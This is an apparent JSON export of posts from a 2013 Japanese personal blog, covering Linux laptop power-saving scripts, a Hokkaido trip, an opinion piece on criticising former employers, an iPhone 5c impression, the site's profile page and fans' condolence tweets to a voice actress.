/sys/bus/pci/devices/0000:01:00.0/power/control\"\r\nsudo sh -c \"echo 'auto' \u003e /sys/bus/pci/devices/0000:02:00.0/power/control\"\r\n\r\n# SSD が稼動してない時に SATA を最低消費電力モードにする設定\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host0/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host1/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host2/link_power_management_policy\"\r\nsudo sh -c \"echo 'min_power' \u003e /sys/class/scsi_host/host3/link_power_management_policy\"\r\n ```\r\n\r\n/sys/bus/pci 以下とかどんな環境でも同じ名前なのかよく分からんので自分の環境を調べてやったほうがいいです。 TLP を使うとこの辺の設定を状況に応じて動的に調整出来るようになるのですが、その設定はたいへんにめんどくさいのと、 CPU 以外は常に全て省電力設定でもパフォーマンス上の問題はないので、上記のようなスクリプトを適当にログイン時にでも実行するようにしておけばそれでいいです。\r\n\r\n### CPU の動作周波数\r\nCPU の動作周波数についてはインストールの項で紹介したエントリにあるように [i7z](https://code.google.com/p/i7z/) というユーティリティで確認することができます。しかし CPU の動作周波数を必要に応じて変更しなければ省電力を実現することは出来ません。\r\n\r\n/sys/devices/system/cpu/cpu{0-3}cpufreq/scaling_governor というファイルに動作モードを書き込むことで CPU の動作速度を設定することが出来ます。なので僕は以下のようなスクリプトを作っています。\r\n\r\n```\r\n#!/usr/bin/env ruby\r\nexit false unless %{ondemand powersave performance}.index(ARGV[0])\r\n(0..3).each do |i|\r\n system \"sudo su -c 'echo #{ARGV[0]} \u003e /sys/devices/system/cpu/cpu#{i}/cpufreq/scaling_governor'\"\r\nend\r\n\r\nputs \"set #{ARGV[0]}\"\r\n```\r\n\r\nこれをパスの通っているところに cpufreq という名前とかで置いておけば\r\n\r\n- $ cpufreq ondemand # 通常モード\r\n- $ cpufreq powersave # 省電力モード\r\n- $ cpufreq performance # 全力モード\r\n\r\nなどと設定出来るようになります。バッテリ駆動なのか AC アダプタ駆動なのか判別してモード切り替えるとかもやりたきゃ比較的楽に出来ると思います。\r\n\r\npowersave モードではだいたい 800 〜 1000MHz 程度で動作しますが、 Linux で使う限り、ブラウジング、動画の閲覧などであれば動作に問題はありません。基本 powersave にしてゲームとかやりたいときだけ performance にするとかがいいと思います。\r\n\r\nここまで頑張って設定すると powersave モード時にだいたいバッテリーで 7 時間 〜 7 時間半ほどは稼動するようになります。 Windows での実測値にさほど見劣りしない駆動時間が得られると言っていいと思います。","created_at":"2013-08-31T10:04:18.000Z","updated_at":"2013-08-31T10:04:18.000Z"},{"id":2509,"name":"text/北海道行ってきた","body":"%blog%\r\n\r\nこれ書いてる現在はまだ北海道にいますがそろそろ東京戻ります。そして東京に戻るとただちに南の島に飛びます。\r\n\r\n特に目的も無いんですが北海道にきた。そこで Twitter を見ると知り合いが多数おり、北海道ではなく浅草に来たのではないかという情勢だった。\r\n\r\nホテルにチェックインすると知り合いらが極めて近くで寿司を食べているので合流することにした。寿司屋まで走っていくと、[まきもとさん](https://twitter.com/makimoto)、[中村さん](https://twitter.com/r7kamura)、[セコンさん](https://twitter.com/hotchpotch)らがおり合流する。\r\n\r\nすると彼等はすすきのミルク村なる店に行くと言う。あきらかにいかがわしい店だ。ついていくことにする。すすきのまではタクシーで移動する。タクシー代はセコンさんが全額払う。ミルク村は怪しげなビルの 5 階にある。\r\n\r\n果してミルク村とはアイスにリキュールをかけて食う店だった。こんな感じ。\r\n\r\n![image](http://ssig33.com/gyazo/9895a6a8ce063f17991e884d12f486a9.png)\r\n http://instagram.com/p/dornEjmuH5/\r\n\r\n奥に写っているのが俺だ。\r\n\r\n店内には女性客とカップルとゲイカップルしかおらず、そこに僕等 Rubyist 四人が殴り込みをかける。あきらかに浮いている。気にせず RubyKaigi がはじまる。\r\n\r\nCookpad ではもう十分にパフォーマンスが出ているという話を聞く。パフォーマンスをさらに向上させるためには、ログインユーザーと非ログインユーザーで同じ HTML を出し、ユーザー毎の差異は動的に生成すればいいのではないかと僕が言う。セコンさんは昔はそうしていたけどコードがごっちゃごちゃになったのでそれはやめたと言う。\r\n\r\n開発者が増えると複雑なやり方は不可能になるのだろう。あるいは、システム全体を俯瞰するというやり方が不可能になる。契約による設計やサービス指向アーキテクチャという考え方はそういう観点から必要とされて行くのだろうとようやく気付く。多数の小権限チームが連携して働く方法というのが前提として存在している。プロダクトが SOA を求める訳ではない。組織がそれを求める。\r\n\r\nSOA などの手法について自分があまり実感を持てなかったのは大規模なチームで働いたことがないからだと気付く。\r\n\r\nもちろん銀の弾丸はない。「契約」や「サービスのインターフェイス」が不十分だった場合、デプロイにおいてチーム間で大量のコミュニケーションが必要になる。コミュニケーションが不足した場合障害を引き起す。そして契約もインターフェイスも大抵不十分なものだろうと想像する。\r\n\r\nそんなことを考えていると圧給ハウスは家賃が高いから生活が苦しいといういい話を聞く。夢も希望もあったもんじゃねえ。\r\n\r\nそんなこんなでクックパッド社員と分かれたあと数日は何かありそうで何もありませんでした。以上です。","created_at":"2013-09-03T08:42:13.000Z","updated_at":"2013-09-03T08:42:13.000Z"},{"id":2510,"name":"text/退職時に古巣に砂をかけるべきではない","body":"%blog% 退職時に古巣に砂をかけるべきではないのかという問題\r\n\r\n結論: 程度問題だし個別に判断しろ\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nこの辺に関する話\r\n\r\n- http://mizchi.hatenablog.com/entry/2013/09/07/171644\r\n- http://shunirr.hatenablog.jp/entry/2013/07/01/000944\r\n- http://d.hatena.ne.jp/gnarl/20120407/1333725733\r\n\r\n退職時に古巣に後ろ足で砂をかけるようなブログ記事をかけるような人達がいる。それに怒っている人達がよくいる。という訳で個別の事例について考えていきましょう。\r\n\r\n### mizchi\r\n技術力はそこそこある。人格は糞。月給 24 万とかだったらしいし 24 万が新卒として安いかというと、まあ安くもない。絶対的に人的資源としての価値だけ考えれば多分微妙に安い。彼は「成果」を主張しているが結局あの地獄の JS プロジェクトそんなに売り上げたってないっぽい。\r\n\r\n彼に関してはベンチャーのつもりで入った会社がただの中小企業だったというのが問題な気はしますが、とにかく彼に 24 万しか払わないのはかなり渋いと思います。\r\n\r\n### shunirr\r\n当人の技術力はちゃんとしてた。人格はわりと微妙。会社は本物の糞だった。\r\n\r\n### todesking\r\nチームラボの机は狭い。狭い机で受託開発をしている。普通の SI をしている。\r\n\r\nというわけで個別の事例について考えてもあまり意味がないことが分かりました。一般論を考えてみましょう。\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nこれは一般論ですが、本当に糞みたいな会社があって、会社が糞なので辞めるという場合、会社が糞だったと後ろ足で砂をかけまくるべきだと思います。そうではないと、未来がある若者が糞のような会社に入社してしまい、未来を失うからです。\r\n\r\n「古巣に後ろ足で砂をかけるべきではない」などと口にするような連中は「砂をかけられる自覚がある」人達ですから、無視したほうがいいし、そういう人達に雇われない為にも適宜砂をかけたほうがいい。\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)","created_at":"2013-09-07T13:35:10.000Z","updated_at":"2013-09-07T13:35:10.000Z"},{"id":2511,"name":"text/退職時に古巣に砂をかけるべきではない","body":"%blog% 退職時に古巣に砂をかけるべきではないのかという問題\r\n\r\n結論: 程度問題だし個別に判断しろ\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nこの辺に関する話\r\n\r\n- http://mizchi.hatenablog.com/entry/2013/09/07/171644\r\n- http://shunirr.hatenablog.jp/entry/2013/07/01/000944\r\n- http://d.hatena.ne.jp/gnarl/20120407/1333725733\r\n\r\n退職時に古巣に後ろ足で砂をかけるようなブログ記事をかけるような人達がいる。それに怒っている人達がよくいる。という訳で個別の事例について考えていきましょう。\r\n\r\n### mizchi\r\n技術力はそこそこある。人格は糞。月給 24 万とかだったらしいし 24 万が新卒として安いかというと、まあ安くもない。絶対的に人的資源としての価値だけ考えれば多分微妙に安い。彼は「成果」を主張しているが結局あの地獄の JS プロジェクトそんなに売り上げたってないっぽい。\r\n\r\n彼に関してはベンチャーのつもりで入った会社がただの中小企業だったというのが問題な気はしますが、とにかく彼に 24 万しか払わないのはかなり渋いと思います。\r\n\r\n### shunirr\r\n当人の技術力はちゃんとしてた。人格はわりと微妙。会社は本物の糞だった。\r\n\r\n### todesking\r\nチームラボの机は狭い。狭い机で受託開発をしている。普通の SI をしている。\r\n\r\nというわけで個別の事例について考えてもあまり意味がないことが分かりました。一般論を考えてみましょう。\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B009XPL16U\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B002OM950S\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nこれは一般論ですが、本当に糞みたいな会社があって、会社が糞なので辞めるという場合、会社が糞だったと後ろ足で砂をかけまくるべきだと思います。そうではないと、未来がある若者が糞のような会社に入社してしまい、未来を失うからです。\r\n\r\n「古巣に後ろ足で砂をかけるべきではない」などと口にするような連中は「砂をかけられる自覚がある」人達ですから、無視したほうがいいし、そういう人達に雇われない為にも適宜砂をかけたほうがいい。\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B002OM7RX0\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B004O6U28Q\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n![いつもの画像](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n","created_at":"2013-09-07T13:45:55.000Z","updated_at":"2013-09-07T13:45:55.000Z"},{"id":2512,"name":"text/この画像なんなの?","body":"%blog%\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nこの画像がなんなのかということについて気にしている人がいるようなので、解説します。\r\n\r\nこれはブラジルさんという著名なプログラマが、仕事中に無修正エロ画像をリブログしまくって仕事をクビになった報告をしたエントリに載っていたものです。当該エントリはもう消えて残ってません。\r\n\r\nそれ以来 IT エンジニアが退職エントリを書く時はこの画像を掲載するのが伝統的なしきたりになっています。\r\n","created_at":"2013-09-09T00:03:19.000Z","updated_at":"2013-09-09T00:03:19.000Z"},{"id":2513,"name":"text/iPhone 5c 買った","body":"%blog%\r\n\r\n青い携帯電話が好きなので、青いの出たから買った。でもあんまり綺麗な色じゃなくて、どうしようもない感じする。\r\n\r\niOS 7 にせよ iPhone 5c にせよ見た目ものすごくださいと思う。ださいものとか持ってると持ってる人までださくなるみたいな言説あって、なるほどそうだなと思うことはあるけど、それは現時点でかっこいい人だけが気にすればいいことだと思う。僕には関係ない。\r\n\r\niOS 7 結構使いやすいと思う。見た目酷いのはまあ慣れる。ただメールだけは全然駄目で、なんか真っ白ですごいメール読み辛い。同じような感じの Windows Phone は結構読みやすいのでいろいろ失敗してるんだと思う。","created_at":"2013-09-28T18:09:02.000Z","updated_at":"2013-09-28T18:09:02.000Z"},{"id":2514,"name":"index","body":"# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/gyazo/1172dc470bf038831261f7e8acfeb547.png)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2013-09-30T11:53:37.000Z","updated_at":"2013-09-30T11:53:37.000Z"},{"id":2515,"name":"text/転職しました","body":"%blog%\r\n\r\n![転職にもこれ使っていいのかな](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n先日転職致しました。転職先はトレバー・フィリップス・エンタープライズです。主な業務内容は様々な戦略物資の国際間取引などです。\r\n\r\n信頼出来るボストレバーの下で様々な業務に従事しております。つきましてはインターネットでの活動などかなり低調となっておりますのでよろしくお願い致します。\r\n\r\n![社長](http://ssig33.com/gyazo/ddce4a7e8860fb89f6f2fc572388dde4.png)\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00B6ZBGVK\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n","created_at":"2013-10-15T11:33:27.000Z","updated_at":"2013-10-15T11:33:27.000Z"},{"id":2516,"name":"text/Twitter について","body":"%blog%\r\n\r\n### 何がおきたか\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e髪を切りました。思い切り過ぎたような気がします。みじかーーい!これボブじゃなくてショートだよー(笑)\u0026#10;でもさっぱりしました。\u0026#10;さてさて、少しの間だけ、Twitterお休みさせて頂きます♪\u0026#10;すぐ戻ると思うので、その時は宜しくお願いします^^\u003c/p\u003e\u0026mdash; 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390452523489693696\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eごめんね!別に深刻な理由はまっったくないので安心してください!ちょっとばたばたしているので、Blogに専念しようかと♪\u0026#10;ちなみにかみのけは短いけど、シルエット変えてないからあんまり見た目変わらないです。ではでは(*^^*)\u003c/p\u003e\u0026mdash; 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390453579552948224\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### 前提となる知識\r\n浅倉杏美さんは Twitter を閲覧するのに iPhone 向けの公式クライアントを使用しています。つまり @ タブを開くとファンからの @ が全部見えているという状態です。もしかしたら push 通知されてきてるかもしれません。\r\n\r\nそして[先日ペットを亡くされるという出来事がありました](http://ameblo.jp/asakura-azumi/entry-11639198852.html)。\r\n\r\n### そして・・・\r\nhttps://twitter.com/search?q=to%3Aasakura_azumi%20%E9%99%BD%E8%8F%9C\u0026src=typd\u0026f=realtime\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログを拝見致しました。先ず亡くなられた御家族に対しまして、心よりの哀悼の意を捧げます。\u0026#10;御辛い中でファンの皆さんに精一杯の笑顔を振りまかれて居られたのを知りますと、尚の事、浅倉さんには、ただ頭が下がる思いです。また、自分からも陽菜ちゃんに感謝を。\u003c/p\u003e\u0026mdash; 碧海崎横府 (@emeralnadenade) \u003ca href=\"https://twitter.com/emeralnadenade/statuses/390406516299145216\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見しました。\u0026#10;寂しいですね、ブログのひなちゃんのカテゴリを読んで少しですが陽菜ちゃんを想う時間を作りました。\u0026#10;やっぱり可愛かったです。\u0026#10;陽菜ちゃんのご冥福をお祈り申し上げます。\u003c/p\u003e\u0026mdash; HANABI (@HANABI_123) \u003ca href=\"https://twitter.com/HANABI_123/statuses/390346091968745472\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 最期まで共に過ごすことができて陽菜ちゃんも寂しい思いをせずに旅立てたかと思います。飼い主として、家族として立派に責任を果たされましたね。いつまでも皆さんの心の中に素敵な思い出が残りますよう願っております。\u003c/p\u003e\u0026mdash; やまなし (@yamanashi3776) \u003ca href=\"https://twitter.com/yamanashi3776/statuses/390341199485087744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ更新お疲れ様です。\u0026#10;陽菜ちゃん…心よりお悔やみを申し上げます。\u0026#10;大切な家族で…本当に可愛がられ、幸せだったと思います。\u0026#10;お辛い中で頑張って下さり、本当に言葉もありません。\u0026#10;\u0026#10;あの時のあずみんの笑顔は決して忘れません。\u0026#10;\u0026#10;ありがとうございました。\u003c/p\u003e\u0026mdash; Luna P@作家見習い (@lune_i) \u003ca href=\"https://twitter.com/lune_i/statuses/390323766560972800\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 家族を失うのは本当に辛いですよね・・陽菜さんが浅倉さんの心の中にいつまでも生き続けられるようお祈り申し上げます。\u003c/p\u003e\u0026mdash; もげる (@mogeru765) \u003ca href=\"https://twitter.com/mogeru765/statuses/390322238194335744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e \u0026#10;陽菜ちゃんのご冥福を心よりお祈りします\u0026#10;その中での先日のイベント本当にありがとうございます\u0026#10;泣いた分以上に笑えば陽菜ちゃんも喜ぶと思います\u003c/p\u003e\u0026mdash; RenRin (@nakanoazusa0918) \u003ca href=\"https://twitter.com/nakanoazusa0918/statuses/390320173934067712\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ読ませていただきました。家族を失う辛さは痛いほどわかります。きっと陽菜ちゃんは幸せだった思います。\u003c/p\u003e\u0026mdash; ててててっちPPB (@kawane246) \u003ca href=\"https://twitter.com/kawane246/statuses/390317730512908288\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこんなんなったら誰でも Twitter クライアントアンインストールしたくなりそう。","created_at":"2013-10-16T12:43:22.000Z","updated_at":"2013-10-16T12:43:22.000Z"},{"id":2517,"name":"text/Twitter について","body":"%blog%\r\n\r\n### 何がおきたか\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e髪を切りました。思い切り過ぎたような気がします。みじかーーい!これボブじゃなくてショートだよー(笑)\r\nでもさっぱりしました。\r\nさてさて、少しの間だけ、Twitterお休みさせて頂きます♪\r\nすぐ戻ると思うので、その時は宜しくお願いします^^\u003c/p\u003e— 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390452523489693696\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eごめんね!別に深刻な理由はまっったくないので安心してください!ちょっとばたばたしているので、Blogに専念しようかと♪\r\nちなみにかみのけは短いけど、シルエット変えてないからあんまり見た目変わらないです。ではでは(*^^*)\u003c/p\u003e— 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390453579552948224\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### 前提となる知識\r\n浅倉杏美さんは Twitter を閲覧するのに iPhone 向けの公式クライアントを使用しています。つまり @ タブを開くとファンからの @ が全部見えているという状態です。もしかしたら push 通知されてきてるかもしれません。\r\n\r\nそして[先日ペットを亡くされるという出来事がありました](http://ameblo.jp/asakura-azumi/entry-11639198852.html)。\r\n\r\n### そして・・・\r\nhttps://twitter.com/search?q=to%3Aasakura_azumi%20%E9%99%BD%E8%8F%9C\u0026src=typd\u0026f=realtime\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログを拝見致しました。先ず亡くなられた御家族に対しまして、心よりの哀悼の意を捧げます。\r\n御辛い中でファンの皆さんに精一杯の笑顔を振りまかれて居られたのを知りますと、尚の事、浅倉さんには、ただ頭が下がる思いです。また、自分からも陽菜ちゃんに感謝を。\u003c/p\u003e— 碧海崎横府 (@emeralnadenade) \u003ca href=\"https://twitter.com/emeralnadenade/statuses/390406516299145216\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見しました。\r\n寂しいですね、ブログのひなちゃんのカテゴリを読んで少しですが陽菜ちゃんを想う時間を作りました。\r\nやっぱり可愛かったです。\r\n陽菜ちゃんのご冥福をお祈り申し上げます。\u003c/p\u003e— HANABI (@HANABI_123) \u003ca href=\"https://twitter.com/HANABI_123/statuses/390346091968745472\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 最期まで共に過ごすことができて陽菜ちゃんも寂しい思いをせずに旅立てたかと思います。飼い主として、家族として立派に責任を果たされましたね。いつまでも皆さんの心の中に素敵な思い出が残りますよう願っております。\u003c/p\u003e— やまなし (@yamanashi3776) \u003ca href=\"https://twitter.com/yamanashi3776/statuses/390341199485087744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ更新お疲れ様です。\r\n陽菜ちゃん…心よりお悔やみを申し上げます。\r\n大切な家族で…本当に可愛がられ、幸せだったと思います。\r\nお辛い中で頑張って下さり、本当に言葉もありません。\r\n\r\nあの時のあずみんの笑顔は決して忘れません。\r\n\r\nありがとうございました。\u003c/p\u003e— Luna P@作家見習い (@lune_i) \u003ca href=\"https://twitter.com/lune_i/statuses/390323766560972800\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 家族を失うのは本当に辛いですよね・・陽菜さんが浅倉さんの心の中にいつまでも生き続けられるようお祈り申し上げます。\u003c/p\u003e— もげる (@mogeru765) \u003ca href=\"https://twitter.com/mogeru765/statuses/390322238194335744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e \r\n陽菜ちゃんのご冥福を心よりお祈りします\r\nその中での先日のイベント本当にありがとうございます\r\n泣いた分以上に笑えば陽菜ちゃんも喜ぶと思います\u003c/p\u003e— RenRin (@nakanoazusa0918) \u003ca href=\"https://twitter.com/nakanoazusa0918/statuses/390320173934067712\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ読ませていただきました。家族を失う辛さは痛いほどわかります。きっと陽菜ちゃんは幸せだった思います。\u003c/p\u003e\u0026mdash; ててててっちPPB (@kawane246) \u003ca href=\"https://twitter.com/kawane246/statuses/390317730512908288\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見させていただきました\u0026#10;\u0026#10;陽菜ちゃん 心からお悔やみ申し上げます。\u0026#10;14日、お辛いなかで本当に頑張ってくださり、感謝の気持ちでいっぱいです。\u0026#10;\u0026#10;浅倉さんたちの家族の一員で、陽菜ちゃんも、とても幸せで素敵な日々だったと思います。\u003c/p\u003e\u0026mdash; みなみ (@8_minami_8) \u003ca href=\"https://twitter.com/8_minami_8/statuses/390316736236752896\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e \u0026#10;陽菜ちゃんはあずみんの笑顔が大好きだったんだと思います。そしてこれからも虹の向こうから見守っててくれてるはずです\u0026#10;陽菜ちゃんの分もこれからもずっと笑顔でいてください!\u003c/p\u003e\u0026mdash; かる(しうむ) (@klsum_765) \u003ca href=\"https://twitter.com/klsum_765/statuses/390316316738846721\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見しました。当たり前のように一緒に居た家族がいなくなってしまうのは本当に辛かったと思います。陽菜ちゃんのご冥福をお祈りします。\u003c/p\u003e\u0026mdash; ミルねこP@ぬーさんに会いたい (@milneko_P) \u003ca href=\"https://twitter.com/milneko_P/statuses/390314963195002882\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 